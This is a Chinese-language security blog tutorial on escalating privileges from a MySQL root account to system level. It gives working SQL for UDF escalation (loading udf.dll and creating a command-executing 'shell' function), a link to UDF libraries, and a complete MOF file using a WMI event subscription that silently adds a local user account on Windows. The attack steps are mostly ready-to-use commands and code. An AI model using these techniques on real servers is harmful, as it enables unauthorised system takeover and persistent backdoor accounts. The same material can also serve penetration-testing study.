【计算机网络安全】内网学习之MySQL服务提权_编码库
首页 > 网络安全 > 网络安全

【计算机网络安全】内网学习之MySQL服务提权

利用MySQL提权原理:1、具有mysql的root权限,且mysql以system权限运行。2、具有执行sql语句的权限,webshell或者外连皆可UDF提权UDF(user defined fu

利用MySQL提权原理:

1、具有mysql的root权限,且mysql以system权限运行。

2、具有执行sql语句的权限,webshell或者外连皆可


UDF提权

UDF(user defined function 用户自定义函数)提权,要求有写权限(secure_file_priv要么为空,要么设置路径),单引号未被过滤

原理:

       UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)要想利用udf,必须上传udf.dll作为udf的执行库。

       mysql中支持UDF扩展,使得我们可以凋用DLL里面的函数来实现一些特殊的功能。

0X01 MySQL信息收集

在拿到数据库账号密码后,查看用户权限,本地路径,版本信息

select user();
select @@basedir;
select version();
select @@plugin_dir ;  #查询到MySQL的plugin位置
#  mysql版本<5.1,UDF导出到系统目录C:/windows/system32/ 如Windows2003放到c:\windows\system32
#  mysql版本>5.1,UDF导出到安装路径:Windows在MySQL\Lib\Plugin\(Plugin默认不存在,需自建)   Linux则在/usr/lib/mysql/plugin下

show global variables like '%secure%';
#  mysql版本<5.5.53 , secure_file_priv 默认为空
#  mysql版本>=5.5.53 ,secure_file_priv 默认为null

0X02  创建函数

    将udf.dll脚本上传至指定目录后执行命令

  CREATE FUNCTION shell RETURNS string SONAME 'udf.dll'; # 创建函数
  SELECT shell('cmd','whoami');  #执行命令

image

  脚本链接 https://github.com/f1tz/UDF

Linux与Windows操作相似,具体操作参考上图,注意文件类型不是dll,而是so

如果遇到Function sys_eval already exists问题,执行以下语句

DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS shell;
DROP FUNCTION IF EXISTS cmd;
select * from mysql.plugin;
delete from mysql.plugin;


       

mof提权

提权原理:

mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysq的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof文件通过Mofcomp.exe编译执行。

仅适用于Windows

 流程:
1、首先找个可写的目录,将我们的MOF文件上传上去。

连接菜刀,上传两个mof文件Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/

select load_file(C:/wmpub/nullevt.mof) into dumpfile 'c:/windows/system32/wbem/mof/nulevt.mof'


2、mofcomp.exe xxx.mof 执行mof文件

虚拟终端进入此目录下,执行命令:mofcomp.exe Adduser.mof 等待数秒后net user 查看用户是否添加成功,再执行mofcomp.exe Addtoadmin.mof 等待数秒后 net user 用户名 查看是否添加到administrators组中


添加用户的mof文件代码                 
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;   #修改这里进行账户密码和组的修改
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

关键词:
后台-系统设置-扩展变量-手机广告位-内容正文底部
关于源码库

本站文章仅代表作者观点,不代表本站立场,所有资源非营利性免费分享。
编码库致力于各类程序源代码、程序设计与应用、网络程序源代码的资源共享,希望广大程序员努力学习,让我们用科技改变世界。
【计算机网络安全】内网学习之MySQL服务提权:http://www.0314.online/hack/safejiaocheng/26183.html

后台-系统设置-扩展变量-手机广告位-评论底部广告位

合作伙伴

编码库

http://www.0314.online/

统计代码 | 冀ICP备19024639号-1

Powered By 编码库 信息来自互联网